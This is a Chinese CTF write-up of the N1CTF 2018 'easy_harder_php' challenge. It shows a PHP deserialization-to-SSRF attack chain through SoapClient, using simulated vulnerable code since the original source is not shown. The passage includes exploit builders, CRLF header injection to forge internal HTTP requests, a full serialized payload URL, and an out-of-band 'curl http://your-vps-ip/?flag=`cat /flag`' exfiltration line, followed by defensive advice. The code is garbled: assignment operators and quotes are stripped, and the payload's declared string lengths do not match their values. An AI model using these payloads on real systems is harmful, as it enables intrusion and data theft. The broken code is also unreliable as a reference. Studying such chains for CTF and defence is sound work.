
1. 从一道CTF题看SOAP与SSRF的深度纠缠最近在复盘一些经典的CTF Web题目发现[N1CTF 2018]的这道easy_harder_php是一个绝佳的学习样本。它表面上是一个关于PHP反序列化的题目但核心的考点却巧妙地嵌套在SOAPSimple Object Access Protocol客户端与SSRFServer-Side Request Forgery的联动之中。很多人在初次接触时可能会被“反序列化”这个标签带偏花大量时间去审计可能的POP链却忽略了题目环境本身提供的、更直接的攻击面。这道题的精妙之处在于它没有使用那些复杂的魔术方法链而是回归基础考察了开发者对PHP内置类、协议封装器以及网络服务边界的深刻理解。如果你对PHP的SoapClient类一知半解或者仅仅把SSRF理解为用file_get_contents或curl去读取内网文件那么这道题会给你上一堂生动的进阶课。它清晰地展示了当SOAP这种用于远程过程调用的协议遇到一个配置不当或存在逻辑缺陷的PHP环境时如何演变成一把打开内网大门的万能钥匙。2. 题目环境构建与核心代码审计首先我们需要在本地或可控的测试环境中复现题目场景。典型的CTF Web题会提供一个包含漏洞的PHP源码文件。对于这道题虽然具体的源码片段没有给出但根据标题easy_harder_php和考点soap_ssrf我们可以推断并模拟出核心的漏洞代码模式。通常这类题目会包含以下几个关键部分一个反序列化的入口点这可能是unserialize($_GET[‘data’])或unserialize($_COOKIE[‘user’])等。这是攻击者可控数据的输入点。一个用于处理SOAP请求的端点可能是一个server.php或api.php其中定义了一个SOAP服务端使用SoapServer类。存在一个内部服务或flag文件这个服务监听在内网如127.0.0.1:8080或者flag存放在一个只能通过本地网络访问的地址如http://127.0.0.1/flag.php。一段高度简化的、模拟漏洞场景的代码如下// index.php (存在反序列化点) ?php highlight_file(__FILE__); class Welcome { public $name; public $func; function __destruct() { if (isset($this-name) isset($this-func)) { call_user_func($this-func, $this-name); } } } if (isset($_GET[data])) { $data $_GET[data]; unserialize($data); }// flag.php (位于内网外部无法直接访问) ?php $flag n1ctf{th1s_1s_a_fake_fl4g}; echo $flag; ?// soap_server.php (一个简单的SOAP服务端可能运行在本地端口) ?php class MySoapServer { public function getFlag($key) { if ($key secret_key) { return file_get_contents(http://127.0.0.1/flag.php); } return Access Denied; } } $server new SoapServer(null, array(uri http://test-uri/)); $server-setClass(MySoapServer); $server-handle(); ?初看index.php似乎是一个寻找call_user_func利用链的题目。但Welcome类非常简单没有其他属性或方法可以让我们直接控制去执行命令或读取文件。这时我们需要将视线转移到PHP的内置类上。题目名提示了soap这强烈指向了PHP的SoapClient类。我们的攻击思路不再是寻找复杂的POP链而是构造一个特殊的SoapClient对象当它被反序列化后其行为能帮助我们发起一个SSRF请求从而访问到内网的soap_server.php并间接获取flag.php的内容。3. PHP SoapClient一个被低估的SSRF利器SoapClient是PHP中用于调用SOAP Web服务的客户端类。在反序列化利用中我们关注的是它的一个特性__call魔术方法。当对一个对象调用不存在的方法时__call会被触发。对于SoapClient如果它在反序列化后被当作一个“普通”对象使用例如在__destruct中尝试调用某个方法并且其__call方法被触发它会尝试向初始化时指定的WSDLWeb Services Description LanguageURL或目标URI发起一个SOAP请求。关键在于我们可以通过序列化一个精心配置的SoapClient对象来控制这个请求的几乎所有参数包括目标URL、HTTP头、SOAP Action甚至是HTTP请求的Body。这使其成为一个功能极其强大的SSRF代理远超file_get_contents(http://attacker-controlled)这种简单利用。构造恶意SoapClient对象的代码如下?php $target http://127.0.0.1:8080/soap_server.php; // 目标内网SOAP服务端点 $post_data ?xml version1.0 encodingUTF-8? SOAP-ENV:Envelope xmlns:SOAP-ENVhttp://schemas.xmlsoap.org/soap/envelope/ xmlns:ns1http://test-uri/ xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:SOAP-ENChttp://schemas.xmlsoap.org/soap/encoding/ SOAP-ENV:encodingStylehttp://schemas.xmlsoap.org/soap/encoding/ SOAP-ENV:Body ns1:getFlag key xsi:typexsd:stringsecret_key/key /ns1:getFlag /SOAP-ENV:Body /SOAP-ENV:Envelope; $headers array( User-Agent Mozilla/5.0 (CTF Exploit), X-Forwarded-For 127.0.0.1, Content-Type text/xml; charsetutf-8, SOAPAction http://test-uri/#getFlag // 注意这里的URI需要与服务器端匹配 ); $options array( uri http://test-uri/, location $target, user_agent CTF Exploit Client, trace 1, // 启用追踪便于调试实际利用可能不需要 ); // 创建SoapClient实例。第一个参数为null表示不使用WSDL模式non-WSDL mode。 // 在这种模式下location选项指定了请求发送的目标地址。 $client new SoapClient(null, $options); // 我们需要利用SoapClient的__call方法。但直接序列化$client其默认的__call行为还不够。 // 关键技巧通过设置SoapClient的内部__default_headers属性来注入自定义HTTP头。 // 但更常用的方法是利用其反序列化时的特性结合CRLF注入和URI控制。 // 一个更直接的利用方式是构造一个location指向我们想要SSRF攻击的URL并利用user_agent或其它选项注入额外的HTTP头。 // 然而在non-WSDL模式下直接通过选项注入恶意头到SOAP请求本身比较困难。 // 经典的利用方式是结合CRLF\r\n注入到SOAPAction头中从而污染整个HTTP请求。 // 让我们换一种更可靠的思路如果我们能控制SoapClient请求的location并且服务器端的SOAP服务soap_server.php存在SSRF漏洞或者能帮我们二次请求呢 // 但本题更常见的解法是题目本身的SOAP服务端我们想访问的那个就在内网我们构造的SoapClient对象被反序列化后会直接向这个内网地址发起请求。 // 所以我们只需要确保构造的SoapClient对象在反序列化后其location指向内网的soap_server.php并且能正确调用getFlag方法。 // 重新调整optionslocation直接指向内网服务。 $exploit_options array( uri http://test-uri/, // 这个uri需要和soap_server.php中SoapServer初始化的uri一致否则可能报错。 location $target ); $exploit_client new SoapClient(null, $exploit_options); // 现在我们需要序列化这个对象。当它被反序列化后如果代码试图调用它的某个方法比如一个不存在的方法触发__call // 它就会向location发起一个SOAP请求。请求的方法名就是被调用的那个不存在的方法名。 // 因此我们需要预测反序列化后什么代码会调用这个对象的什么方法。 // 回顾我们模拟的index.php在Welcome类的__destruct中有call_user_func($this-func, $this-name)。 // 如果我们让$this-func array($exploit_client, non_existent_method)$this-name secret_key // 那么反序列化后__destruct会执行call_user_func(array($client, non_existent_method), secret_key)。 // 这等价于$client-non_existent_method(secret_key)从而触发SoapClient的__call。 $welcome new Welcome(); $welcome-func array($exploit_client, getFlag); // 注意这里的方法名‘getFlag’必须和soap_server.php中定义的方法名一致。 $welcome-name secret_key; $serialized serialize($welcome); echo urlencode($serialized); // 输出序列化后的字符串用于payload ?这段构造代码的核心逻辑是创建一个SoapClient对象将其location设置为内网的SOAP服务地址http://127.0.0.1:8080/soap_server.phpuri设置为与服务端匹配的URI。创建一个Welcome对象将其func属性设置为一个数组该数组将SoapClient对象和一个方法名getFlag封装起来。name属性设置为服务端需要的参数secret_key。序列化Welcome对象。当这个序列化字符串在index.php中被反序列化后会还原出$welcome对象。脚本结束或对象销毁时$welcome的__destruct方法被调用。它执行call_user_func(array($soapClient, ‘getFlag’), ‘secret_key’)。由于SoapClient类本身没有getFlag方法这会触发其__call魔术方法。SoapClient::__call会根据对象初始化时的配置location,uri向目标地址发起一个SOAP请求请求中会尝试调用名为getFlag的远程方法并传入参数secret_key。内网的soap_server.php收到这个SOAP请求执行getFlag(‘secret_key’)方法读取flag.php的内容并将结果封装在SOAP响应中返回。攻击者需要想办法获取到这个SOAP响应才能看到flag。这通常需要题目存在另一个回显点或者利用SoapClient的__getLastResponse()等方法如果trace选项开启。注意在实际的[N1CTF 2018]题目中细节可能有所不同。例如反序列化的触发点、SoapClient需要模拟的uri、内网服务的地址和参数都需要根据实际题目源码进行调整。这里展示的是最核心的原理和构造思路。4. 绕过限制与高级利用技巧在实际攻击和CTF比赛中情况往往不会这么理想。可能会遇到各种限制需要我们运用更高级的技巧。4.1 处理HTTPS与SSL验证如果内网服务使用的是HTTPShttps://127.0.0.1/...SoapClient默认会验证SSL证书这在攻击本地或自签名的服务时会失败。我们可以在options中添加配置来禁用SSL验证$options array( uri ..., location https://127.0.0.1/soap_server.php, stream_context stream_context_create([ ssl [ verify_peer false, verify_peer_name false, allow_self_signed true ] ]) ); $client new SoapClient(null, $options);stream_context选项允许我们深度定制HTTP/HTTPS请求的上下文这是SoapClient实现复杂SSRF的关键。4.2 利用CRLF注入构造任意HTTP请求这是SoapClient在SSRF利用中最强大的特性之一。通过控制user_agent或uri等字符串字段并在其中插入CRLF\r\n我们可以突破SOAP协议的限制向请求中注入额外的HTTP头甚至完全伪造一个非SOAP的HTTP请求。?php $target http://127.0.0.1:8080/; // 这次不是SOAP端点而是一个普通的HTTP服务 $evil_headers X-Forwarded-For: 127.0.0.1\r\n; $evil_headers . Host: vulnerable-internal-service.local\r\n; $evil_headers . Content-Type: application/x-www-form-urlencoded\r\n; $evil_headers . \r\n; // 结束头部 $evil_headers . cmdwhoami; // 请求体 // 将恶意头部注入到user_agent中 $options array( uri http://test-uri/, location $target, user_agent CTF_Exploit . \r\n . $evil_headers // 注入CRLF和伪造的头 ); $client new SoapClient(null, $options); // ... 后续序列化与触发逻辑相同 ?当这个SoapClient发起请求时user_agent中的CRLF会被解释为HTTP协议中的换行符从而导致注入的头部成为HTTP请求的一部分。这使得我们可以向任意内网服务发送GET/POST请求执行命令、读取文件等极大地扩展了SSRF的攻击面。重要提示现代版本的PHP5.5.22, 5.6.6, 7.0对SoapClient的user_agent和uri等头部字段中的CRLF进行了过滤。但在一些老旧环境或特定配置下此技巧可能仍然有效。在CTF中出题人有时会特意使用有漏洞的PHP版本或配置来设置考点。4.3 如何接收SSRF的响应回显问题在SSRF攻击中最大的挑战之一是如何获取到目标内部服务的响应数据。SoapClient默认不会直接回显远程服务的响应内容到当前页面。有几种常见的解决思路外带数据OOB - Out-of-Band如果目标服务器能出网可以让内网服务将数据发送到我们控制的服务器。例如构造一个请求让内网服务访问http://our-server.com/?leak并将flag作为参数或路径的一部分。// 在SOAP请求中尝试让服务端将结果curl到我们的服务器 // 这需要服务端有执行命令或发起网络请求的能力即SSRFRCE。 $post_data ...ns1:execcommandcurl http://your-vps-ip/?flagcat /flag/command/ns1:exec...;利用SoapClient的trace功能在创建SoapClient时设置‘trace’ 1然后在其被调用后可以通过$client-__getLastResponse()来获取上一次SOAP调用的原始响应。但是在反序列化利用的场景下我们通常没有机会在代码中直接调用这个方法来获取响应。除非题目代码在反序列化后不仅触发了请求还以某种方式如echo、var_dump输出了这个SoapClient对象的某个属性。错误信息回显如果SOAP请求格式错误或服务端返回错误SOAP协议可能会返回一个SOAP Fault。有时这个Fault信息中会包含部分有用的数据或者错误信息会被题目代码捕获并打印出来。时间盲注/布尔盲注如果以上都不行可以考虑基于响应时间或响应状态的差异来推断信息。例如构造不同的参数根据请求是否成功或响应时间长短来逐位猜测flag。在[N1CTF 2018]这道题的具体环境中很可能设计了某种回显机制。例如index.php在反序列化并触发SoapClient请求后可能会将Welcome对象的某个属性或者SoapClient对象本身进行序列化并输出或者题目提供了另一个查看结果的页面。这就需要仔细审计题目给出的所有源码文件。5. 完整攻击链的实战推演与踩坑记录让我们串联起整个攻击流程并记录下实际操作中容易遇到的“坑”。步骤一信息收集与代码分析访问题目主页如index.php查看源码找到反序列化入口unserialize函数。寻找其他可能的文件如robots.txt、www.zip备份、.git泄露等获取服务器端源码soap_server.php。分析soap_server.php确定SOAP服务的URISoapServer初始化时的uri参数。可调用的远程方法名如getFlag及其参数。服务运行的内部地址和端口可能需要从代码、注释或网络扫描中推断。步骤二构造恶意序列化字符串根据分析结果编写攻击脚本如上一节的exploit.php。正确设置SoapClient的uri和location。uri必须与服务端的SoapServeruri匹配否则会收到“无法处理操作”之类的错误。确定触发SoapClient::__call的方式。是像我们模拟的那样通过call_user_func还是通过其他类的__toString、__wakeup等方法间接触发这需要仔细分析题目中所有可用的类。步骤三发送Payload并获取响应将生成的序列化字符串作为data参数传递给index.php。http://target-ctf-server.com/index.php?dataO:7:%22Welcome%22:2:{s:4:%22name%22;s:10:%22secret_key%22;s:4:%22func%22;a:2:{i:0;O:10:%22SoapClient%22:4:{s:3:%22uri%22;s:17:%22http://test-uri/%22;s:8:%22location%22;s:45:%22http://127.0.0.1:8080/soap_server.php%22;s:17:%22_stream_context%22;i:0;s:13:%22_soap_version%22;i:1;}i:1;s:7:%22getFlag%22;}}观察页面返回。如果成功flag可能直接显示在页面上也可能隐藏在SOAP响应的XML中需要查看HTML源码。如果页面没有直接输出尝试访问其他端点或者利用SoapClient的__toString方法。在PHP中当你尝试将一个对象当作字符串使用如echo $obj;时会调用__toString。某些题目可能会无意中触发这一点。常见踩坑点URI不匹配这是最常见的错误。客户端SoapClient的uri和服务端SoapServer的uri必须一致。题目中可能不是http://test-uri/而是其他值需要从源码中仔细查找。SOAP Action头错误SOAP请求中的SOAPAction头通常由uri和方法名组合而成。如果服务端对此有严格校验构造不当会导致请求被拒绝。使用trace模式查看原始请求和响应是调试的好方法。PHP版本差异不同PHP版本下SoapClient序列化后的属性名和结构可能略有不同。在本地测试时应尽量使用与目标相近的PHP版本。字符编码与转义在构造包含XML的Payload时要特别注意特殊字符如,,,”的转义。在URL中传递序列化字符串时也需要正确进行URL编码。盲打与调试在无法直接看到回显的情况下调试非常困难。可以尝试先让SoapClient访问一个自己搭建的HTTP服务器查看收到的请求是什么样的验证Payload是否按预期工作。6. 从CTF到实战SOAP SSRF的防御与反思这道CTF题虽然是一个人为构造的场景但它揭示的SoapClient反序列化导致SSRF的问题在真实世界的PHP应用中同样存在。特别是那些使用unserialize接收用户输入并且环境中使用了SOAP服务的应用。对于开发者的防御建议永远不要反序列化不可信数据这是根本原则。使用json_decode等安全替代方案。如果必须使用序列化应结合强类型校验和数字签名。严格限制SOAP客户端的网络访问在php.ini中可以使用allow_url_fopen Off和allow_url_include Off来全局禁用URL封装器。对于SoapClient确保其location指向的是可信、固定的内网服务地址避免从用户输入中动态获取。使用白名单验证如果SOAP服务端需要被调用应对调用者的IP或身份进行强认证和授权。升级PHP版本新版本PHP对SoapClient等内置类的反序列化行为有更多安全限制并及时修复了CRLF注入等漏洞。代码审计在代码中搜索unserialize、SoapClient、SoapServer等关键字审查其使用是否安全。对于安全研究人员的启发SoapClient的这个特性提醒我们在代码审计和渗透测试中当看到反序列化点时不要只盯着那些著名的、有公开POP链的类库如ThinkPHP、Laravel。PHP原生内置的类如SoapClient、SimpleXMLElement、ZipArchive等往往因其功能强大、与系统交互深而隐藏着意想不到的攻击面。理解这些类的内部机制和在反序列化时的行为是挖掘高质量漏洞的关键。回到这道[N1CTF 2018]的题目它成功地将反序列化、SOAP协议、SSRF和内网探测等多个知识点串联起来考察了选手对PHP底层特性的综合理解和利用能力。解决它不仅仅是为了拿到flag更重要的是理解这种“链式”漏洞挖掘的思路从一个看似无害的用户输入点反序列化出发利用语言特性SoapClient::__call突破协议限制SOAP最终实现网络边界跨越SSRF。这种思维方式在应对现代复杂的应用系统时显得尤为重要。